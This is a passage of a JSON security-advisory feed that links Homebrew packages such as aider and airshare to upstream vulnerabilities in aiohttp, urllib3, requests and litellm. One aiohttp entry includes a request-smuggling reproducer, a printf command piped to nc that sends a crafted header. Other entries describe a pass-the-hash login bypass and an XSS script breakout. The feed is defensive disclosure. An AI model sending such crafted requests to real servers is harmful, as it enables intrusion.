method.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97689"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-GHSA-2g87-pp6c-29x5","published":"2026-10-21T09:14:41Z","modified":"2026-11-10T09:41:12Z","upstream":["GHSA-2g87-pp6c-29x5","CVE-2026-123817"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: Multiple instances of excessive or unbounded memory/CPU use","details":"### Summary\n\nWhile reassembling a WebSocket frame that arrived across many small transport reads, the reader kept one `bytes` object per read with no bound on the count. The per-object overhead is many times larger than the payload bytes, so a frame delivered a few bytes at a time could use far more memory than `max_msg_size` allows.\n\n### Impact\n\nAn attacker could cause excessive memory use in a WebSocket server, or a malicious server against a client, by sending a frame in a large number of tiny segments.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2g87-pp6c-29x5"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/09bcaa73ff084a0c539bbf16a0a78743acb7141f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a4f6682817839313b04b8e5cea2b39c1a88ab4f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-GHSA-69x8-hrgq-fjj8","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-69x8-hrgq-fjj8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Password hash exposure and pass-the-hash authentication bypass","details":"### Impact\n\nThree issues combine into a full authentication bypass chain:\n\n1. Weak hashing: User passwords are stored as unsalted SHA-256 hashes, making them vulnerable to rainbow table attacks and trivially identifying users with identical passwords.\n2. Hash exposure: Multiple API endpoints (/user/info, /user/update, /spend/users) return the password hash field in responses to any authenticated user regardless of role. Plaintext passwords could also potentially be exposed in certain scenarios.\n4. Pass-the-hash: The /v2/login endpoint accepts the raw SHA-256 hash as a valid password without re-hashing, allowing direct login with a stolen\n\nAn already authenticated user can retrieve another user's password hash from the API and use it to log in as that user. This enables full privilege escalation in three HTTP requests.\n\n### Patches\n\nFixed in v1.83.0. Passwords are now hashed with scrypt (random 16-byte salt, n=16384, r=8, p=1). Password hashes are stripped from all API responses. Existing SHA-256 hashes are transparently migrated on next login.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-69x8-hrgq-fjj8"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"}]},{"schema_version":"1.7.3","id":"BREW-aider-GHSA-hhww-mrg2-969h","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-hhww-mrg2-969h"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.82.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.85.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM vulnerable to reflected XSS in /sso/debug/callback","details":"### Summary\n\nThe `/sso/debug/callback` endpoint reflected identity-provider-controlled fields into an inline `<script>` block via `json.dumps`, which escapes JSON string syntax but not HTML context characters such as `</script>`. An IdP-returned string field containing `</script>` (for example a user-editable display name) closed the script block and executed attacker JavaScript in the proxy's origin.\n\n### Impact\n\nReflected XSS on the LiteLLM proxy origin. The route required no authentication, so an attacker with an account on the configured IdP whose claims pass such strings through verbatim could complete the SSO flow themselves and deliver the resulting callback URL to a logged-in proxy admin. Scripts executing in the proxy origin can read the dashboard session cookie and act with the victim's privileges, up to full admin account takeover.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-hhww-mrg2-969h"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/27498"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/13a193367f0ae2e7e8b29913e0d23a32d3bb0457"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.85.0"}]}],"airshare":[{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2021-21330","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-v6wp-4m6f-gcjg","CVE-2021-21330","PYSEC-2021-76"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"`aiohttp` Open Redirect vulnerability (`normalize_path_middleware` middleware)","details":"### Impact\n\nOpen redirect vulnerability — a maliciously crafted link to an aiohttp-based web-server could redirect the browser to a different website.\n\nIt is caused by a bug in the `aiohttp.web_middlewares.normalize_path_middleware` middleware.\n\n### Patches\n\nThis security problem has been fixed in v3.7.4. Upgrade your dependency as follows:\n[`pip install aiohttp >= 3.7.4`]\n\n### Workarounds\n\nIf upgrading is not an option for you, a workaround can be to avoid using `aiohttp.web_middlewares.normalize_path_middleware` in your applications.\n\n### References\n\n* [aiohttp @ PyPI]\n* [GHSA-v6wp-4m6f-gcjg]\n* [OWASP page on open redirects]\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in the [aiohttp repo](https://github.com/aio-libs/aiohttp/issues/new/choose)\n* Email us at wk+aio-libs-security@sydorenko.org.ua and/or andrew.svetlov+aio-libs-security@gmail.com\n\nCredit: [Jelmer Vernooĳ] and [Beast Glatisant].\n\n[aiohttp @ PyPI]: https://pypi.org/p/aiohttp\n[`pip install aiohttp >= 3.7.4`]: https://pypi.org/project/aiohttp/3.7.4/\n[GHSA-v6wp-4m6f-gcjg]: https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg\n[OWASP page on open redirects]:\nhttps://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html\n\n[Jelmer Vernooĳ]: https://jelmer.uk\n[Beast Glatisant]: https://github.com/g147","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21330"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2545222a3853e31ace15d87ae0e2effb7da0c96b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/master/CHANGES.rst#374-2021-02-25"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2021-76.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FU7ENI54JNEK3PHEFGCE46DGMFNTVU6L"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JN3V7CZJRT4QFCVXB6LDPCJH7NAOFCA5"},{"type":"WEB","url":"https://pypi.org/project/aiohttp"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-19"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4864"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2021-33503","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:45:18Z","upstream":["GHSA-q2q7-5pp4-w6pg","CVE-2021-33503","PYSEC-2021-108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.26.5","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Catastrophic backtracking in URL authority parser when passed URL containing many @ characters","details":"### Impact\n\nWhen provided with a URL containing many `@` characters in the authority component the authority regular expression exhibits catastrophic backtracking causing a denial of service if a URL were passed as a parameter or redirected to via an HTTP redirect.\n\n\n### Patches\n\nThe issue has been fixed in urllib3 v1.26.5.\n\n### References\n\n- [CVE-2021-33503](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33503)\n- [JVNVU#92413403 (English)](https://jvn.jp/en/vu/JVNVU92413403/)\n- [JVNVU#92413403 (Japanese)](https://jvn.jp/vu/JVNVU92413403/)\n- [urllib3 v1.26.5](https://github.com/urllib3/urllib3/releases/tag/1.26.5)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Ask in our [community Discord](https://discord.gg/urllib3)\n* Email [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-q2q7-5pp4-w6pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-33503"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/2d4a3fee6de2fa45eb82169361918f759269b4ec"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/5b047b645f5f93900d5e2fc31230848c25eb1f5f#diff-52026d639119bf1e0364836b4e8a18bd9ed3c95c6ba39b26534a5057a65e35bbR65"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-q2q7-5pp4-w6pg"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2021-108.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6SCV7ZNAHS3E6PBFLJGENCDRDRWRZZ6W"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FMUGWEAUYGGHTPPXT6YBD53WYXQGVV73"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202107-36"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-32681","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:04Z","upstream":["GHSA-j8r2-6x86-q33q","CVE-2023-32681","PYSEC-2023-74"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.31.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Unintended leak of Proxy-Authorization header in requests","details":"### Impact\n\nSince Requests v2.3.0, Requests has been vulnerable to potentially leaking `Proxy-Authorization` headers to destination servers, specifically during redirects to an HTTPS origin. This is a product of how `rebuild_proxies` is used to recompute and [reattach the `Proxy-Authorization` header](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/sessions.py#L319-L328) to requests when redirected. Note this behavior has _only_ been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. `https://username:password@proxy:8080`).\n\n**Current vulnerable behavior(s):**\n\n1. HTTP → HTTPS: **leak**\n2. HTTPS → HTTP: **no leak**\n3. HTTPS → HTTPS: **leak**\n4. HTTP → HTTP: **no leak**\n\nFor HTTP connections sent through the proxy, the proxy will identify the header in the request itself and remove it prior to forwarding to the destination server. However when sent over HTTPS, the `Proxy-Authorization` header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.\n\nThe reason this currently works for HTTPS connections in Requests is the `Proxy-Authorization` header is also handled by urllib3 with our usage of the ProxyManager in adapters.py with [`proxy_manager_for`](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/adapters.py#L199-L235). This will compute the required proxy headers in `proxy_headers` and pass them to the Proxy Manager, avoiding attaching them directly to the Request object. This will be our preferred option going forward for default usage.\n\n### Patches\nStarting in Requests v2.31.0, Requests will no longer attach this header to redirects with an HTTPS destination. This should have no negative impacts on the default behavior of the library as the proxy credentials are already properly being handled by urllib3's ProxyManager.\n\nFor users with custom adapters, this _may_ be potentially breaking if you were already working around this behavior. The previous functionality of `rebuild_proxies` doesn't make sense in any case, so we would encourage any users impacted to migrate any handling of Proxy-Authorization directly into their custom adapter.\n\n### Workarounds\nFor users who are not able to update Requests immediately, there is one potential workaround.\n\nYou may disable redirects by setting `allow_redirects` to `False` on all calls through Requests top-level APIs. Note that if you're currently relying on redirect behaviors, you will need to capture the 3xx response codes and ensure a new request is made to the redirect destination.\n```\nimport requests\nr = requests.get('http://github.com/', allow_redirects=False)\n```\n\n### Credits\n\nThis vulnerability was discovered and disclosed by the following individuals.\n\nDennis Brinkrolf, Haxolot (https://haxolot.com/)\nTobias Funke, (tobiasfunke93@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-j8r2-6x86-q33q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-32681"},{"type":"WEB","url":"https://github.com/psf/requests/commit/74ea7cf7a6a27a4eeb2ae24e162bcc942a6706d5"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.31.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2023-74.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/06/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AW7HNFGYP44RT3DUDQXG2QT3OEV2PJ7Y"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KOYASTZDGQG2BWLSNBPL3TQRL2G7QYNZ"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202309-08"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-37276","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-45c4-8wx5-qw6w","CVE-2023-37276","PYSEC-2023-120"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.5","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp.web.Application vulnerable to HTTP request smuggling via llhttp HTTP request parser","details":"### Impact\n\naiohttp v3.8.4 and earlier are [bundled with llhttp v6.0.6](https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules) which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp for its HTTP request parser when available which is the default case when installing from a wheel.\n\nThis vulnerability only affects users of aiohttp as an HTTP server (ie `aiohttp.Application`), you are not affected by this vulnerability if you are using aiohttp as an HTTP client library (ie `aiohttp.ClientSession`).\n\n### Reproducer\n\n```python\nfrom aiohttp import web\n\nasync def example(request: web.Request):\n    headers = dict(request.headers)\n    body = await request.content.read()\n    return web.Response(text=f\"headers: {headers} body: {body}\")\n\napp = web.Application()\napp.add_routes([web.post('/', example)])\nweb.run_app(app)\n```\n\nSending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.\n\n```console\n$ printf \"POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nX-Abc: \\rxTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nA\\r\\n0\\r\\n\\r\\n\" \\\n  | nc localhost 8080\n\nExpected output:\n  headers: {'Host': 'localhost:8080', 'X-Abc': '\\rxTransfer-Encoding: chunked'} body: b''\n\nActual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently)\n  headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'\n```\n\n### Patches\n\nUpgrade to the latest version of aiohttp to resolve this vulnerability. It has been fixed in v3.8.5: [`pip install aiohttp >= 3.8.5`](https://pypi.org/project/aiohttp/3.8.5/)\n\n### Workarounds\n\nIf you aren't able to upgrade you can reinstall aiohttp using `AIOHTTP_NO_EXTENSIONS=1` as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:\n\n```console\n$ python -m pip uninstall --yes aiohttp\n$ AIOHTTP_NO_EXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp\n```\n\n### References\n\n* https://nvd.nist.gov/vuln/detail/CVE-2023-30589\n* https://hackerone.com/reports/2001873\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-45c4-8wx5-qw6w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-37276"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9337fb3f2ab2b5f38d7e98a194bde6f7e3d16c40"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9c13a52c21c23dfdb49ed89418d28a5b116d0681"},{"type":"WEB","url":"https://hackerone.com/reports/2001873"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-120.yaml"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-43804","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:45:18Z","upstream":["GHSA-v845-jxx5-vc9f","CVE-2023-43804","PYSEC-2023-192"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.6","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"`Cookie` HTTP header isn't stripped on cross-origin redirects","details":"urllib3 doesn't treat the `Cookie` HTTP header special or provide any helpers for managing cookies over HTTP, that is the responsibility of the user. However, it is possible for a user to specify a `Cookie` header and unknowingly leak information via HTTP redirects to a different origin if that user doesn't disable redirects explicitly.\n\nUsers **must** handle redirects themselves instead of relying on urllib3's automatic redirects to achieve safe processing of the `Cookie` header, thus we decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Using an affected version of urllib3 (patched in v1.26.17 and v2.0.6)\n* Using the `Cookie` header on requests, which is mostly typical for impersonating a browser.\n* Not disabling HTTP redirects\n* Either not using HTTPS or for the origin server to redirect to a malicious origin.\n\n## Remediation\n\n* Upgrading to at least urllib3 v1.26.17 or v2.0.6\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Cookie` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-v845-jxx5-vc9f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43804"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/01220354d389cd05474713f8c982d05c9b17aafb"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/644124ecd0b6e417c527191f866daa05a5a2056d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-192.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I3PR7C6RJ6JUBQKIJ644DMIJSUP36VDY"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NDAGZXYJ7H2G3SB47M453VQVNAWKAEJJ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20241213-0007"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/cve-2023-43804-urllib3-vulnerability-3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-45803","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:45:18Z","upstream":["GHSA-g4mx-q9vg-27p4","CVE-2023-45803","PYSEC-2023-212"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.7","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3's request body not stripped after redirect from 303 status changes request method to GET","details":"urllib3 previously wouldn't remove the HTTP request body when an HTTP redirect response using status 303 \"See Other\" after the request had its method changed from one that could accept a request body (like `POST`) to `GET` as is required by HTTP RFCs. Although the behavior of removing the request body is not specified in the section for redirects, it can be inferred by piecing together information from different sections and we have observed the behavior in other major HTTP client implementations like curl and web browsers.\n\nFrom [RFC 9110 Section 9.3.1](https://www.rfc-editor.org/rfc/rfc9110.html#name-get):\n\n> A client SHOULD NOT generate content in a GET request unless it is made directly to an origin server that has previously indicated, in or out of band, that such a request has a purpose and will be adequately supported.\n\n## Affected usages\n\nBecause the vulnerability requires a previously trusted service to become compromised in order to have an impact on confidentiality we believe the exploitability of this vulnerability is low. Additionally, many users aren't putting sensitive data in HTTP request bodies, if this is the case then this vulnerability isn't exploitable.\n\nBoth of the following conditions must be true to be affected by this vulnerability:\n\n* If you're using urllib3 and submitting sensitive information in the HTTP request body (such as form data or JSON)\n* The origin service is compromised and starts redirecting using 303 to a malicious peer or the redirected-to service becomes compromised.\n\n## Remediation\n\nYou can remediate this vulnerability with any of the following steps:\n\n* Upgrade to a patched version of urllib3 (v1.26.18 or v2.0.7)\n* Disable redirects for services that you aren't expecting to respond with redirects with `redirects=False`.\n* Disable automatic redirects with `redirects=False` and handle 303 redirects manually by stripping the HTTP request 